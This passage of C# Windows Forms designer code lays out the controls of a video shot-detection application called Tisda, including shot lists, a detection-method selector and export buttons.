this.groupBoxShots.TabStop = false; this.groupBoxShots.Text = "Shots"; // // listBoxShots // this.listBoxShots.FormattingEnabled = true; this.listBoxShots.Location = new System.Drawing.Point(6, 53); this.listBoxShots.Name = "listBoxShots"; this.listBoxShots.Size = new System.Drawing.Size(207, 147); this.listBoxShots.TabIndex = 29; // // textBoxKeyword // this.textBoxKeyword.Location = new System.Drawing.Point(6, 22); this.textBoxKeyword.Name = "textBoxKeyword"; this.textBoxKeyword.Size = new System.Drawing.Size(207, 20); this.textBoxKeyword.TabIndex = 27; // // groupBoxCanvas // this.groupBoxCanvas.Controls.Add(this.panelCanvas); this.groupBoxCanvas.Location = new System.Drawing.Point(12, 33); this.groupBoxCanvas.Name = "groupBoxCanvas"; this.groupBoxCanvas.Size = new System.Drawing.Size(551, 215); this.groupBoxCanvas.TabIndex = 22; this.groupBoxCanvas.TabStop = false; // // groupBoxShotDetection // this.groupBoxShotDetection.Controls.Add(this.panelParameters); this.groupBoxShotDetection.Controls.Add(this.lblShotDetectionMethod); this.groupBoxShotDetection.Controls.Add(this.btnDetectShots); this.groupBoxShotDetection.Controls.Add(this.comboBoxDetectionMethod); this.groupBoxShotDetection.Location = new System.Drawing.Point(12, 322); this.groupBoxShotDetection.Name = "groupBoxShotDetection"; this.groupBoxShotDetection.Size = new System.Drawing.Size(273, 211); this.groupBoxShotDetection.TabIndex = 23; this.groupBoxShotDetection.TabStop = false; this.groupBoxShotDetection.Text = "Shot Detection"; // // panelParameters // this.panelParameters.Location = new System.Drawing.Point(9, 53); this.panelParameters.Name = "panelParameters"; this.panelParameters.Size = new System.Drawing.Size(250, 150); this.panelParameters.TabIndex = 2; // // lblShotDetectionMethod // this.lblShotDetectionMethod.AutoSize = true; this.lblShotDetectionMethod.Location = new System.Drawing.Point(6, 25); this.lblShotDetectionMethod.Name = "lblShotDetectionMethod"; this.lblShotDetectionMethod.Size = new System.Drawing.Size(92, 13); this.lblShotDetectionMethod.TabIndex = 1; this.lblShotDetectionMethod.Text = "Detection Method"; // // btnDetectShots // this.btnDetectShots.Enabled = false; this.btnDetectShots.Image = global::Tisda.Properties.Resources.DetectShots; this.btnDetectShots.Location = new System.Drawing.Point(222, 19); this.btnDetectShots.Name = "btnDetectShots"; this.btnDetectShots.Size = new System.Drawing.Size(40, 25); this.btnDetectShots.TabIndex = 0; this.btnDetectShots.UseVisualStyleBackColor = true; this.btnDetectShots.Click += new System.EventHandler(this.buttonDetectShots_Click); // // comboBoxDetectionMethod // this.comboBoxDetectionMethod.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboBoxDetectionMethod.FormattingEnabled = true; this.comboBoxDetectionMethod.Location = new System.Drawing.Point(104, 21); this.comboBoxDetectionMethod.Name = "comboBoxDetectionMethod"; this.comboBoxDetectionMethod.Size = new System.Drawing.Size(112, 21); this.comboBoxDetectionMethod.TabIndex = 0; this.comboBoxDetectionMethod.SelectedIndexChanged += new System.EventHandler(this.comboBoxDetectionMethod_SelectedIndexChanged); // // directorySearcher // this.directorySearcher.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // groupBoxExport // this.groupBoxExport.Controls.Add(this.btnExportFrames); this.groupBoxExport.Controls.Add(this.btnExportShotInfo); this.groupBoxExport.Location = new System.Drawing.Point(291, 255); this.groupBoxExport.Name = "groupBoxExport"; this.groupBoxExport.Size = new System.Drawing.Size(272, 61); this.groupBoxExport.TabIndex = 24; this.groupBoxExport.TabStop = false; this.groupBoxExport.Text = "Export controls"; // // FormTisda // this.AutoScaleBaseSize = new System.Drawing.Size(5, 13); this.ClientSize = new System.Drawing.Size(569, 561); this.Controls.Add(this.groupBoxExport); this.Controls.Add(this.groupBoxShotDetection); this.Controls.Add(this.groupBoxCanvas); this.Controls.Add(this.groupBoxShots); this.Controls.Add(this.groupBoxVideoControls); this.Controls.Add(this.statusStrip); this.Controls.Add(this.menuStrip); this.MainMenuStrip = this.menuStrip; this.Name = "FormTisda"; this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; this.Text = "Tisda! The Intense Shot Detection Application"; this.groupBoxVideoControls.ResumeLayout(false); this.menuStrip.ResumeLayout(false); this.menuStrip.PerformLayout(); this.statusStrip.ResumeLayout(false); this.statusStrip.PerformLayout(); this.groupBoxShots.ResumeLayout(false); this.groupBoxShots.PerformLayout(); this.groupBoxCanvas.ResumeLayout(false); this.groupBoxShotDetection.ResumeLayout(false); this.groupBoxShotDetection.PerformLayout(); this.groupBoxExport.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); }